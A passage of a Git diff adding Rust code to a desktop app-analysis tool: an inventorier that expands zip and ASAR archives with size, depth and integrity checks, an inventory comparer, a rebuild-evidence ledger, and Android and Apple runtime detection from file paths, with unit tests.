usize, +} + +impl<'c> Inventorier<'c> { + pub fn new(root: &str, root_kind: &str, limits: InvLimits, cancelled: &'c dyn Fn() -> bool) -> Self { + Inventorier { limits, inv: Inventory { root: root.into(), root_kind: root_kind.into(), ..Default::default() }, cancelled, counter: 0 } + } + + fn room(&mut self) -> bool { + if self.inv.entries.len() >= self.limits.max_entries { + self.inv.truncated = true; + return false; + } + true + } + + fn tick(&mut self) -> Result<(), Cancelled> { + self.counter += 1; + if self.counter.is_multiple_of(64) && (self.cancelled)() { Err(Cancelled) } else { Ok(()) } + } + + /// Record a directory or link without content. + pub fn add_marker(&mut self, path: &str, kind: &str, depth: u32, note: Option) { + if self.room() { + self.inv.entries.push(InvEntry { + path: path.into(), + kind: kind.into(), + depth, + note, + role: path_role(path).map(String::from), + ..Default::default() + }); + } + } + + /// Record a file seen with its bytes; archives inside are expanded. + pub fn add_file(&mut self, path: &str, bytes: &[u8], depth: u32) -> Result<(), Cancelled> { + self.tick()?; + if !self.room() { + return Ok(()); + } + self.inv.hashed_bytes = self.inv.hashed_bytes.saturating_add(bytes.len() as u64); + let kind = sniff_kind(bytes, path); + self.inv.entries.push(InvEntry { + path: path.into(), + size: bytes.len() as u64, + sha256: Some(sha256_hex(bytes)), + kind: kind.into(), + role: path_role(path).map(String::from), + depth, + ..Default::default() + }); + let archive = matches!(kind, "zip" | "apk" | "ipa" | "jar" | "hap" | "msix" | "asar"); + if archive { + if depth >= self.limits.max_depth { + self.note_last("nested archive not opened: depth limit"); + } else if bytes.len() as u64 > self.limits.max_nested_bytes { + self.note_last("nested archive not opened: too large"); + } else { + self.add_archive(&format!("{path}!/"), bytes, kind, depth + 1)?; + } + } + Ok(()) + } + + fn note_last(&mut self, note: &str) { + if let Some(e) = self.inv.entries.last_mut() { + e.note = Some(note.into()); + } + } + + /// Expand an archive's members under `prefix` (use "" for the root archive). + pub fn add_archive(&mut self, prefix: &str, bytes: &[u8], kind: &str, depth: u32) -> Result<(), Cancelled> { + if kind == "asar" { + return self.add_asar(prefix, bytes, depth); + } + let z = match zip::parse(bytes, self.limits.max_entries) { + Ok(z) => z, + Err(e) => { + self.inv.containers.push(json!({"path": prefix, "kind": kind, "error": e.to_string()})); + return Ok(()); + } + }; + self.inv.containers.push( + json!({"path": prefix, "kind": kind, "entries": z.entries.len(), "declared": z.declared_entries, "truncated": z.truncated, "zip64": z.zip64}), + ); + if z.truncated { + self.inv.truncated = true; + } + for e in &z.entries { + let path = format!("{prefix}{}", e.name); + if e.is_dir { + self.add_marker(path.trim_end_matches('/'), "directory", depth, None); + continue; + } + if self.inv.hashed_bytes.saturating_add(e.uncompressed_size) > self.limits.max_total_bytes { + self.inv.truncated = true; + self.add_marker(&path, "unread", depth, Some("total size budget reached".into())); + continue; + } + match zip::read_entry(bytes, e, self.limits.max_entry_bytes) { + Ok(data) => self.add_file(&path, &data, depth)?, + Err(err) => { + if matches!(err, zip::ZipError::CrcMismatch { .. }) { + self.inv.contradictions.push(json!({"path": path, "reason": err.to_string()})); + } + let note = Some(err.to_string()); + if self.room() { + self.inv.entries.push(InvEntry { + path: path.clone(), + size: e.uncompressed_size, + kind: "unread".into(), + role: path_role(&path).map(String::from), + depth, + note, + ..Default::default() + }); + } + } + } + } + Ok(()) + } + + fn add_asar(&mut self, prefix: &str, bytes: &[u8], depth: u32) -> Result<(), Cancelled> { + let a = match asar::parse(bytes, self.limits.max_entries) { + Ok(a) => a, + Err(e) => { + self.inv.containers.push(json!({"path": prefix, "kind": "asar", "error": e.to_string()})); + return Ok(()); + } + }; + self.inv.containers.push(json!({"path": prefix, "kind": "asar", "entries": a.entries.len(), "truncated": a.truncated, "rejected_names": a.rejected_names, "header_bytes": a.json_bytes})); + if a.truncated { + self.inv.truncated = true; + } + for name in &a.rejected_names { + self.inv.contradictions.push(json!({"path": format!("{prefix}{name}"), "reason": "entry name could escape the archive; skipped"})); + } + for e in &a.entries { + let path = format!("{prefix}{}", e.path); + match e.kind { + asar::AsarKind::Directory => self.add_marker(&path, "directory", depth, None), + asar::AsarKind::Link => self.add_marker(&path, "link", depth, e.link.clone().map(|l| format!("link to {l}"))), + asar::AsarKind::File if e.unpacked => self.add_marker(&path, "unpacked", depth, Some("stored beside the archive in .asar.unpacked".into())), + asar::AsarKind::File => match asar::file_bytes(bytes, &a, e) { + Some(data) => { + self.add_file(&path, data, depth)?; + if let Some(int) = &e.integrity + && int.algorithm.eq_ignore_ascii_case("sha256") + { + let ok = self.inv.entries.iter().rev().find(|x| x.path == path).and_then(|x| x.sha256.as_deref()) == Some(int.hash.as_str()); + if let Some(x) = self.inv.entries.iter_mut().rev().find(|x| x.path == path) { + x.integrity = Some(if ok { "verified" } else { "mismatch" }.into()); + } + if !ok { + self.inv.contradictions.push(json!({"path": path, "reason": "ASAR integrity hash does not match the file content"})); + } + } + } + None => { + self.inv.contradictions.push(json!({"path": path, "reason": "file data lies outside the archive"})); + self.add_marker(&path, "unread", depth, Some("offset/size outside the archive".into())); + } + }, + } + } + Ok(()) + } + + pub fn finish(self) -> Inventory { + self.inv + } +} + +/// Compare two inventories by path and content. +pub fn compare_inventories(l: &Inventory, r: &Inventory, max_rows: usize) -> Value { + let lm: BTreeMap<&str, &InvEntry> = l.entries.iter().filter(|e| e.sha256.is_some()).map(|e| (e.path.as_str(), e)).collect(); + let rm: BTreeMap<&str, &InvEntry> = r.entries.iter().filter(|e| e.sha256.is_some()).map(|e| (e.path.as_str(), e)).collect(); + let mut added = Vec::new(); + let mut removed = Vec::new(); + let mut changed = Vec::new(); + let mut moved = Vec::new(); + let mut unchanged = 0usize; + // Where a file may have moved: the right's new paths by content, each taken once, so two + // copies don't both move to one file (#283). + let mut move_to: BTreeMap<&str, std::collections::VecDeque<&str>> = BTreeMap::new(); + for x in rm.values().filter(|x| !lm.contains_key(x.path.as_str())) { + if let Some(h) = x.sha256.as_deref() { + move_to.entry(h).or_default().push_back(x.path.as_str()); + } + } + for (p, e) in &lm { + match rm.get(p) { + Some(x) if x.sha256 == e.sha256 => unchanged += 1, + Some(x) => changed.push(json!({"path": p, "kind": e.kind, "size": [e.size, x.size], "sha256": [e.sha256, x.sha256]})), + None => match e.sha256.as_deref().and_then(|h| move_to.get_mut(h)).and_then(std::collections::VecDeque::pop_front) { + Some(to) => moved.push(json!({"from": p, "to": to})), + None => removed.push(json!({"path": p, "kind": e.kind, "size": e.size})), + }, + } + } + let moved_to: std::collections::BTreeSet = moved.iter().filter_map(|m| m["to"].as_str().map(String::from)).collect(); + for (p, e) in &rm { + if !lm.contains_key(p) && !moved_to.contains(*p) { + added.push(json!({"path": p, "kind": e.kind, "size": e.size})); + } + } + let total = added.len() + removed.len() + changed.len() + moved.len(); + json!({ + "identical": total == 0 && l.content_id() == r.content_id(), + "left": {"root": l.root, "content_id": l.content_id(), "files": lm.len()}, + "right": {"root": r.root, "content_id": r.content_id(), "files": rm.len()}, + "counts": {"added": added.len(), "removed": removed.len(), "changed": changed.len(), "moved": moved.len(), "unchanged": unchanged}, + "added": added.into_iter().take(max_rows).collect::>(), + "removed": removed.into_iter().take(max_rows).collect::>(), + "changed": changed.into_iter().take(max_rows).collect::>(), + "moved": moved.into_iter().take(max_rows).collect::>(), + }) +} + +#[cfg(test)] +mod tests { + use super::*; + use craft_anything_testkit::electron as fx; + + #[test] + fn nested_zip_with_asar_inside() { + let asar = fx::notes_app_asar(); + let z = fx::zip_stored(&[("resources/app.asar", &asar), ("README.txt", b"hi")]); + let mut inv = Inventorier::new("bundle.zip", "zip", InvLimits::default(), &|| false); + inv.add_archive("", &z, "zip", 0).unwrap(); + let inv = inv.finish(); + assert!(inv.entries.iter().any(|e| e.path == "resources/app.asar" && e.kind == "asar")); + let main = inv.entries.iter().find(|e| e.path == "resources/app.asar!/main.js").unwrap(); + assert_eq!(main.kind, "javascript"); + assert_eq!(main.sha256.as_deref(), Some(sha256_hex(fx::MAIN_JS.as_bytes()).as_str())); + assert!(inv.content_id().starts_with("inv_")); + // Depth limit stops expansion. + let mut shallow = Inventorier::new("b", "zip", InvLimits { max_depth: 0, ..Default::default() }, &|| false); + shallow.add_file("outer.zip", &z, 0).unwrap(); + assert_eq!(shallow.finish().entries.len(), 1); + } + + #[test] + fn compare_detects_changes() { + let mut a = Inventorier::new("a", "directory", InvLimits::default(), &|| false); + a.add_file("x.js", b"1", 0).unwrap(); + a.add_file("y.js", b"2", 0).unwrap(); + a.add_file("z.js", b"3", 0).unwrap(); + let mut b = Inventorier::new("b", "directory", InvLimits::default(), &|| false); + b.add_file("x.js", b"1", 0).unwrap(); + b.add_file("y.js", b"22", 0).unwrap(); + b.add_file("moved/z.js", b"3", 0).unwrap(); + b.add_file("new.js", b"4", 0).unwrap(); + let d = compare_inventories(&a.finish(), &b.finish(), 100); + assert_eq!(d["counts"], json!({"added": 1, "removed": 0, "changed": 1, "moved": 1, "unchanged": 1})); + } + + /// #281: the same files listed in another order are the same content tree. + #[test] + fn member_order_does_not_change_the_content_id() { + let zip = |files: &[(&str, &[u8])]| { + let mut i = Inventorier::new("a.zip", "zip", InvLimits::default(), &|| false); + i.add_archive("", &fx::zip_stored(files), "zip", 0).unwrap(); + i.finish() + }; + let (x, y): (&[u8], &[u8]) = (b"one", b"two"); + let (ab, ba) = (zip(&[("a.txt", x), ("b.txt", y)]), zip(&[("b.txt", y), ("a.txt", x)])); + assert_eq!(ab.content_id(), ba.content_id()); + assert_eq!(compare_inventories(&ab, &ba, 100)["identical"], true); + assert_ne!(ab.content_id(), zip(&[("a.txt", y), ("b.txt", x)]).content_id(), "swapped contents differ"); + } + + /// #283: two identical old files both "moved" to one new file, and nothing was removed. + #[test] + fn each_new_file_is_one_move() { + let inv = |files: &[&str]| { + let mut i = Inventorier::new("x", "directory", InvLimits::default(), &|| false); + for f in files { + i.add_file(f, b"SAME", 0).unwrap(); + } + i.finish() + }; + let d = compare_inventories(&inv(&["a/license.txt", "b/license.txt"]), &inv(&["c/license.txt"]), 100); + assert_eq!(d["counts"], json!({"added": 0, "removed": 1, "changed": 0, "moved": 1, "unchanged": 0}), "{d}"); + let d = compare_inventories(&inv(&["a/license.txt", "b/license.txt"]), &inv(&["c/license.txt", "d/license.txt"]), 100); + assert_eq!(d["counts"], json!({"added": 0, "removed": 0, "changed": 0, "moved": 2, "unchanged": 0}), "{d}"); + let to: std::collections::BTreeSet<&str> = d["moved"].as_array().unwrap().iter().filter_map(|m| m["to"].as_str()).collect(); + assert_eq!(to.len(), 2, "two different destinations: {d}"); + } + + #[test] + fn java_classes_and_universal_binaries_by_contents() { + let class = [0xca, 0xfe, 0xba, 0xbe, 0, 0, 0, 52]; + let fat = [0xca, 0xfe, 0xba, 0xbe, 0, 0, 0, 2]; + assert_eq!(sniff_kind(&class, "Main.class"), "java-class"); + assert_eq!(sniff_kind(&class, "lib/Main"), "java-class"); + assert_eq!(sniff_kind(&fat, "MyApp"), "macho-fat"); + assert_eq!(sniff_kind(&fat, "odd.class"), "macho-fat"); + assert_eq!(sniff_kind(&[0xca, 0xfe, 0xba, 0xbe], "short"), "macho-fat"); + } + + #[test] + fn hostile_archives_do_not_panic() { + let z = fx::zip_stored(&[("a/../../evil", b"x"), ("/abs", b"y")]); + for cut in [0, 10, 30, z.len() / 2, z.len() - 1] { + let mut inv = Inventorier::new("z", "zip", InvLimits::default(), &|| false); + let _ = inv.add_archive("", &z[..cut], "zip", 0); + let _ = inv.add_file("x.asar", &z[..cut], 0); + } + } +} diff --git a/desktop/crates/analysis/src/js_ledger.rs b/desktop/crates/analysis/src/js_ledger.rs new file mode 100644 index 0000000..b517829 --- /dev/null +++ b/desktop/crates/analysis/src/js_ledger.rs @@ -0,0 +1,419 @@ +//! Rebuild ledgers: what a clean-room rebuild must do, where in the rebuild each expectation +//! lives, and whether strong enough evidence and checks prove it. +//! +//! An expectation is proven only when one place in the rebuild owns it, its parser type is named +//! (where the layer needs one), every case it must cover has evidence at least as strong as it +//! asks for, and a passing check of that strength lists it and cites its result. So a unit test +//! never proves something only the built app can show, and static facts never prove runtime ones. + +use crate::js_app::AppGraph; +use craft_anything_evidence::sha256_hex; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::BTreeMap; + +/// How strong a piece of proof is, weakest first. +pub const STRENGTH: [&str; 8] = ["unit-test", "module-test", "network-test", "page-test", "built-app", "native-call", "live-run", "outside-check"]; + +pub fn strength_rank(s: &str) -> Option { + STRENGTH.iter().position(|x| *x == s) +} + +pub const CASE_KINDS: [&str; 5] = ["works", "refuses", "bad-input", "cancel", "shutdown"]; + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(default)] +pub struct Expectation { + pub expectation_id: String, + /// `shell`, `network`, `page`, `storage`, `system`, `native`, `install`. + pub layer: String, + pub target: String, + pub title: String, + pub must_cover: Vec, + pub min_strength: String, + pub needs_parser_type: bool, + /// Graph node this came from. + pub source_node: String, +} + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(default, deny_unknown_fields)] +pub struct Owner { + pub module_path: String, + pub symbol: String, + pub impl_sha256: Option, +} + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(default, deny_unknown_fields)] +pub struct Case { + pub kind: String, + pub evidence_id: String, + pub strength: String, +} + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(default, deny_unknown_fields)] +pub struct Verifier { + pub command: String, + pub strength: String, + /// `pass` or `fail`. + pub status: String, + pub result_evidence: String, + pub expectation_ids: Vec, + /// `deterministic`, `retried`, `flaky` (informational). + pub nondeterminism: Option, +} + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(default, deny_unknown_fields)] +pub struct Binding { + pub expectation_id: String, + pub owner: Owner, + pub parser_type: Option, + pub cases: Vec, + pub verifier: Option, +} + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(default, deny_unknown_fields)] +pub struct Review { + pub expectation_id: String, + /// `required`, `skipped`, `waiting`. + pub decision: String, + pub reason: Option, +} + +fn expectation_key(layer: &str, target: &str) -> String { + let h = sha256_hex(format!("{layer}\u{0}{target}").as_bytes()); + format!("ex_{}", h.get(..16).unwrap_or(&h)) +} + +fn expectation(layer: &str, target: String, title: String, cases: &[&str], strength: &str, parser: bool, node: String) -> Expectation { + Expectation { + expectation_id: expectation_key(layer, &target), + layer: layer.into(), + target, + title, + must_cover: cases.iter().map(|c| (*c).to_string()).collect(), + min_strength: strength.into(), + needs_parser_type: parser, + source_node: node, + } +} + +/// Candidate expectations from an application graph. +pub fn candidate_expectations(g: &AppGraph) -> Vec { + let mut v = Vec::new(); + if let Some(m) = &g.entry_points.main { + v.push(expectation("install", format!("entry:{m}"), format!("The app starts from {m}"), &["works"], "built-app", false, format!("module:{m}"))); + } + for c in &g.ipc { + if !c.handlers.is_empty() || !c.main_listeners.is_empty() { + v.push(expectation( + "shell", + format!("ipc:{}", c.channel), + format!("IPC channel '{}' is handled in the main process", c.channel), + &["works", "refuses", "bad-input"], + "module-test", + true, + format!("ipc:{}", c.channel), + )); + } + } + for e in &g.exposed { + let key = e.get("key").and_then(Value::as_str).unwrap_or("?"); + for m in e.get("members").and_then(Value::as_array).into_iter().flatten() { + let name = m.get("name").and_then(Value::as_str).unwrap_or("?"); + v.push(expectation( + "shell", + format!("bridge:{key}.{name}"), + format!("window.{key}.{name} is exposed to the page"), + &["works", "refuses"], + "page-test", + false, + format!("member:{key}.{name}"), + )); + } + } + for w in &g.windows { + let m = w.get("module").and_then(Value::as_str).unwrap_or("?"); + let line = w.get("line").and_then(Value::as_u64).unwrap_or(0); + v.push(expectation( + "shell", + format!("window:{m}@{line}"), + "A window with the same webPreferences and preload".into(), + &["works"], + "built-app", + false, + format!("window:{m}@{line}"), + )); + } + let mut seen = std::collections::BTreeSet::new(); + for e in &g.endpoints { + if e.get("api").and_then(Value::as_str) == Some("literal") { + continue; + } + let label = format!("{} {}", e.get("method").and_then(Value::as_str).unwrap_or("*"), e.get("url").and_then(Value::as_str).unwrap_or("")); + if seen.insert(label.clone()) { + v.push(expectation( + "network", + format!("endpoint:{label}"), + format!("Request {label}"), + &["works", "refuses", "bad-input"], + "network-test", + true, + format!("endpoint:{label}"), + )); + } + } + for r in &g.routes { + let p = r.get("path").and_then(Value::as_str).unwrap_or(""); + if seen.insert(format!("route:{p}")) { + v.push(expectation("page", format!("route:{p}"), format!("Route {p}"), &["works"], "page-test", false, format!("route:{p}"))); + } + } + for (list, layer) in [(&g.storage, "storage"), (&g.effects, "system")] { + for u in list { + let api = u.get("api").and_then(Value::as_str).unwrap_or(""); + let interesting = layer == "storage" + || api.starts_with("fs.write") + || api.starts_with("fs.append") + || api.starts_with("fs.mkdir") + || api.starts_with("fs.rm") + || api.starts_with("fs.unlink") + || api.starts_with("child_process.") + || api.starts_with("shell."); + let target = format!("{api} {}", u.get("arg").and_then(Value::as_str).unwrap_or("")).trim().to_string(); + if interesting && seen.insert(format!("{layer}:{target}")) { + let layer = if api.starts_with("fs.") { "storage" } else { layer }; + v.push(expectation( + layer, + format!("effect:{target}"), + format!("Side effect {target}"), + &["works", "refuses"], + "module-test", + layer == "storage", + format!("effect:{api}"), + )); + } + } + } + for n in &g.native_modules { + let name = n.get("name").and_then(Value::as_str).unwrap_or("?"); + if seen.insert(format!("native:{name}")) { + v.push(expectation( + "native", + format!("native:{name}"), + format!("Native module {name}"), + &["works"], + "native-call", + false, + format!("native:{name}"), + )); + } + } + v +} + +/// Build the ledger. `evidence_ok(id)` says whether an evidence id resolves and verifies. +pub fn build_ledger(g: &AppGraph, bindings: &[Binding], reviews: &[Review], evidence_ok: &dyn Fn(&str) -> bool) -> Value { + let expectations = candidate_expectations(g); + let mut rows = Vec::new(); + let mut counts: BTreeMap = BTreeMap::new(); + let known: std::collections::BTreeSet<&str> = expectations.iter().map(|o| o.expectation_id.as_str()).collect(); + let stray: Vec<&str> = bindings.iter().map(|b| b.expectation_id.as_str()).filter(|id| !known.contains(id)).collect(); + let mut closed = Vec::new(); + for o in &expectations { + let review = reviews.iter().rev().find(|r| r.expectation_id == o.expectation_id); + let mine: Vec<&Binding> = bindings.iter().filter(|b| b.expectation_id == o.expectation_id).collect(); + let mut missing: Vec = Vec::new(); + let need = strength_rank(&o.min_strength).unwrap_or(0); + let status = match review.map(|r| r.decision.as_str()) { + Some("skipped") => "skipped".to_string(), + Some("waiting") => "waiting".to_string(), + _ => { + let owners: std::collections::BTreeSet<(&str, &str)> = mine.iter().map(|b| (b.owner.module_path.as_str(), b.owner.symbol.as_str())).collect(); + if mine.is_empty() { + missing.push("no owner in the rebuild".into()); + "no-owner".to_string() + } else if owners.len() > 1 { + missing.push(format!("{} different owners claim it", owners.len())); + "disproved".to_string() + } else { + let b = mine.first().copied().cloned().unwrap_or_default(); + let mut unknown = false; + if b.owner.module_path.trim().is_empty() || b.owner.symbol.trim().is_empty() { + missing.push("owner needs module_path and symbol".into()); + } + if o.needs_parser_type && b.parser_type.as_deref().is_none_or(|p| p.trim().is_empty()) { + missing.push("parser_type is required for this layer".into()); + } + let mut cases_ok = true; + for kind in &o.must_cover { + let covered = b.cases.iter().any(|c| { + if c.kind != *kind { + return false; + } + if !evidence_ok(&c.evidence_id) { + unknown = true; + return false; + } + strength_rank(&c.strength).is_some_and(|r| r >= need) + }); + if !covered { + cases_ok = false; + missing.push(format!("{kind} case with {} (or stronger) evidence", o.min_strength)); + } + } + let verifier_state = match &b.verifier { + None => { + missing.push("no verifier".into()); + "none" + } + Some(v) if v.status == "fail" => "failed", + Some(v) => { + let mut ok = v.status == "pass"; + if !ok { + missing.push(format!("verifier status is {:?}", v.status)); + } + if strength_rank(&v.strength).is_none_or(|r| r < need) { + ok = false; + missing.push(format!("check strength {:?} is below {}", v.strength, o.min_strength)); + } + if !v.expectation_ids.contains(&o.expectation_id) { + ok = false; + missing.push("verifier does not list this expectation".into()); + } + if !evidence_ok(&v.result_evidence) { + ok = false; + unknown = true; + missing.push("verifier result evidence is missing or tampered".into()); + } + if ok { "passed" } else { "too-weak" } + } + }; + if verifier_state == "failed" { + missing.push("verifier failed".into()); + "disproved".to_string() + } else if missing.is_empty() { + closed.push((o.expectation_id.clone(), b.verifier.as_ref().map(|v| v.result_evidence.clone()).unwrap_or_default())); + "proven".to_string() + } else if unknown { + "unclear".to_string() + } else if cases_ok && !b.owner.symbol.is_empty() { + "built".to_string() + } else { + "described".to_string() + } + } + } + }; + *counts.entry(status.clone()).or_default() += 1; + rows.push(json!({ + "expectation_id": o.expectation_id, "layer": o.layer, "target": o.target, "title": o.title, + "must_cover": o.must_cover, "min_strength": o.min_strength, "needs_parser_type": o.needs_parser_type, + "source_node": o.source_node, "status": status, "missing": missing, "review": review.map(|r| json!({"decision": r.decision, "reason": r.reason})), + })); + } + let c = |k: &str| counts.get(k).copied().unwrap_or(0); + let ledger_status = if c("disproved") > 0 { + "failing" + } else if c("unclear") > 0 { + "unclear" + } else if c("proven") + c("skipped") == expectations.len() { + "ready" + } else { + "open" + }; + let statuses: Vec<(&str, &str)> = rows.iter().filter_map(|r| Some((r.get("expectation_id")?.as_str()?, r.get("status")?.as_str()?))).collect(); + closed.sort(); + json!({ + "ledger_id": format!("lg_{}", sha256_hex(craft_anything_evidence::canonical_json(&json!({"graph": g.graph_id, "statuses": statuses})).as_bytes())), + "closed_hash": sha256_hex(craft_anything_evidence::canonical_json(&json!(closed)).as_bytes()), + "graph_id": g.graph_id, + "status": ledger_status, + "counts": counts, + "expectations": rows, + "stray_bindings": stray, + "strength_ladder": STRENGTH, + }) +} + +/// Coverage figures for a ledger produced by [`build_ledger`]. +pub fn evaluate_coverage(ledger: &Value) -> Value { + let rows = ledger.get("expectations").and_then(Value::as_array).cloned().unwrap_or_default(); + let mut by_layer: BTreeMap> = BTreeMap::new(); + let mut gaps = Vec::new(); + for r in &rows { + let layer = r.get("layer").and_then(Value::as_str).unwrap_or("?").to_string(); + let status = r.get("status").and_then(Value::as_str).unwrap_or("?").to_string(); + *by_layer.entry(layer.clone()).or_default().entry(status.clone()).or_default() += 1; + if !matches!(status.as_str(), "proven" | "skipped") && gaps.len() < 500 { + gaps.push( + json!({"expectation_id": r.get("expectation_id"), "layer": layer, "target": r.get("target"), "status": status, "missing": r.get("missing")}), + ); + } + } + let in_scope = rows.iter().filter(|r| r.get("status").and_then(Value::as_str) != Some("skipped")).count(); + let proven = rows.iter().filter(|r| r.get("status").and_then(Value::as_str) == Some("proven")).count(); + let pct = if in_scope == 0 { 100.0 } else { (proven as f64 * 1000.0 / in_scope as f64).round() / 10.0 }; + json!({ + "ledger_id": ledger.get("ledger_id"), + "ledger_status": ledger.get("status"), + "expectations": rows.len(), + "in_scope": in_scope, + "proven": proven, + "proven_percent": pct, + "by_layer": by_layer, + "gaps": gaps, + "ready": ledger.get("status").and_then(Value::as_str) == Some("ready"), + }) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::js_app::tests_support::notes_graph; + + #[test] + fn ledger_proves_only_with_strong_enough_evidence() { + let g = notes_graph(); + let obs = candidate_expectations(&g); + let ipc = obs.iter().find(|o| o.target == "ipc:export-notes").unwrap().clone(); + assert!(obs.iter().any(|o| o.target == "bridge:api.exportNotes")); + assert!(obs.iter().any(|o| o.layer == "network")); + let ok = |id: &str| id.starts_with("ev_good"); + let case = |k: &str, a: &str| Case { kind: k.into(), evidence_id: "ev_good1".into(), strength: a.into() }; + let binding = |auth: &str, status: &str| Binding { + expectation_id: ipc.expectation_id.clone(), + owner: Owner { module_path: "src/ipc.rs".into(), symbol: "export_notes".into(), impl_sha256: None }, + parser_type: Some("NotesPayload".into()), + cases: vec![case("works", "module-test"), case("refuses", "module-test"), case("bad-input", "module-test")], + verifier: Some(Verifier { + command: "cargo test".into(), + strength: auth.into(), + status: status.into(), + result_evidence: "ev_good2".into(), + expectation_ids: vec![ipc.expectation_id.clone()], + nondeterminism: None, + }), + }; + let status_of = |l: &Value| l["expectations"].as_array().unwrap().iter().find(|r| r["target"] == "ipc:export-notes").unwrap()["status"].clone(); + let l = build_ledger(&g, &[binding("module-test", "pass")], &[], &ok); + assert_eq!(status_of(&l), "proven"); + assert_eq!(l["status"], "open"); + let weak = build_ledger(&g, &[binding("unit-test", "pass")], &[], &ok); + assert_eq!(status_of(&weak), "built"); + let failed = build_ledger(&g, &[binding("module-test", "fail")], &[], &ok); + assert_eq!(failed["status"], "failing"); + let missing_ev = build_ledger(&g, &[binding("module-test", "pass")], &[], &|_: &str| false); + assert_eq!(status_of(&missing_ev), "unclear"); + let all_out: Vec = obs.iter().map(|o| Review { expectation_id: o.expectation_id.clone(), decision: "skipped".into(), reason: None }).collect(); + let ready = build_ledger(&g, &[], &all_out, &ok); + assert_eq!(ready["status"], "ready"); + let cov = evaluate_coverage(&l); + assert_eq!(cov["proven"], 1); + assert!(cov["gaps"].as_array().unwrap().len() >= 3); + } +} diff --git a/desktop/crates/analysis/src/js_projection.rs b/desktop/crates/analysis/src/js_projection.rs new file mode 100644 index 0000000..934bbf6 --- /dev/null +++ b/desktop/crates/analysis/src/js_projection.rs @@ -0,0 +1,432 @@ +//! Platform application graphs projected from an artifact inventory (Android, Apple, HarmonyOS). +//! +//! These read only the inventory's paths, kinds and sizes: package layout, code containers, +//! native libraries by ABI, embedded runtimes (React Native, Flutter, Electron, Cordova/Capacitor, +//! Xamarin/.NET, Unity, Hermes) and signing material. Runtime and framework hints are guesses +//! from file names and are labelled as such; binary manifests are not decoded here. + +use crate::js_inventory::{InvEntry, Inventory}; +use serde_json::{Value, json}; +use std::collections::BTreeMap; + +fn name_of(p: &str) -> &str { + p.rsplit('/').next().unwrap_or(p) +} + +struct Hints<'i> { + entries: &'i [InvEntry], +} + +impl Hints<'_> { + fn any(&self, f: impl Fn(&str) -> bool) -> Vec { + self.entries.iter().filter(|e| f(&e.path.to_ascii_lowercase())).map(|e| e.path.clone()).take(8).collect() + } +} + +/// (runtime, evidence-path predicate) pairs shared by the platforms. +fn runtimes(h: &Hints<'_>) -> Vec { + let checks: Vec<(&str, Vec)> = vec![ + ( + "react-native", + h.any(|p| { + p.ends_with("index.android.bundle") + || p.ends_with("main.jsbundle") + || p.contains("libreactnativejni") + || p.contains("react.framework/") + || p.contains("libreact_render") + }), + ), + ("hermes", h.any(|p| p.contains("libhermes") || p.contains("hermes.framework/"))), + ("flutter", h.any(|p| p.contains("libflutter.so") || p.contains("flutter.framework/") || p.contains("flutter_assets/"))), + ( + "electron", + h.any(|p| { + p.ends_with("app.asar") || p.contains("electron framework.framework/") || p.ends_with("/electron") || p.ends_with("resources/app/package.json") + }), + ), + ( + "cordova-or-capacitor", + h.any(|p| { + p.contains("assets/www/index.html") + || p.contains("assets/public/index.html") + || p.ends_with("capacitor.config.json") + || p.ends_with("cordova.js") + || p.contains("/www/index.html") + }), + ), + ( + "dotnet-xamarin-maui", + h.any(|p| { + p.contains("libmonodroid") || p.contains("libmonosgen") || p.contains("/assemblies/") || p.contains("xamarin") || p.contains("libxamarin") + }), + ), + ("unity", h.any(|p| p.contains("libunity.so") || p.contains("unityframework.framework/") || p.contains("assets/bin/data/"))), + ("godot", h.any(|p| p.contains("libgodot"))), + ("kotlin", h.any(|p| p.ends_with(".kotlin_module") || p.starts_with("kotlin/"))), + ("swift-runtime", h.any(|p| name_of(p).starts_with("libswift") && p.ends_with(".dylib"))), + ("arkts", h.any(|p| p.ends_with("modules.abc"))), + ("webview-content", h.any(|p| p.ends_with(".html") && !p.contains("license"))), + ]; + checks.into_iter().filter(|(_, ev)| !ev.is_empty()).map(|(n, ev)| json!({"runtime": n, "evidence": ev, "confidence": "inferred"})).collect() +} + +fn native_by_abi(entries: &[InvEntry], marker: &str) -> BTreeMap> { + let mut m: BTreeMap> = BTreeMap::new(); + for e in entries { + let p = e.path.as_str(); + if let Some(i) = p.find(marker) { + let rest = p.get(i + marker.len()..).unwrap_or(""); + if let Some((abi, file)) = rest.split_once('/') + && (file.ends_with(".so") || file.contains(".so.")) + { + let v = m.entry(abi.to_string()).or_default(); + if v.len() < 500 { + v.push(file.to_string()); + } + } + } + } + m +} + +fn graph(nodes: &[(String, &str, String)], root: &str) -> Value { + json!({ + "nodes": std::iter::once(json!({"id": format!("app:{root}"), "kind": "application", "label": root})) + .chain(nodes.iter().map(|(id, kind, label)| json!({"id": id, "kind": kind, "label": label}))) + .collect::>(), + "edges": nodes.iter().map(|(id, _, _)| json!({"from": format!("app:{root}"), "to": id, "kind": "contains"})).collect::>(), + }) +} + +/// Android (APK/AAB/XAPK or an extracted folder). +pub fn project_android(inv: &Inventory) -> Value { + let e = &inv.entries; + let h = Hints { entries: e }; + let find = |f: &dyn Fn(&str) -> bool| e.iter().filter(|x| f(&x.path)).map(|x| x.path.clone()).collect::>(); + let manifests = find(&|p| name_of(p) == "AndroidManifest.xml"); + let dex = find(&|p| name_of(p).starts_with("classes") && p.ends_with(".dex")); + let natives = native_by_abi(e, "lib/"); + let signing = find(&|p| p.contains("META-INF/") && (p.ends_with(".RSA") || p.ends_with(".SF") || p.ends_with(".EC") || p.ends_with("MANIFEST.MF"))); + let splits = find(&|p| p.ends_with(".apk") && p != inv.root); + let assets = e.iter().filter(|x| x.path.contains("assets/")).count(); + let mut nodes: Vec<(String, &str, String)> = Vec::new(); + for m in &manifests { + nodes.push((format!("manifest:{m}"), "manifest", m.clone())); + } + for d in &dex { + nodes.push((format!("dex:{d}"), "code", d.clone())); + } + for (abi, libs) in &natives { + nodes.push((format!("abi:{abi}"), "native-abi", format!("{abi} ({} libraries)", libs.len()))); + } + for s in &splits { + nodes.push((format!("split:{s}"), 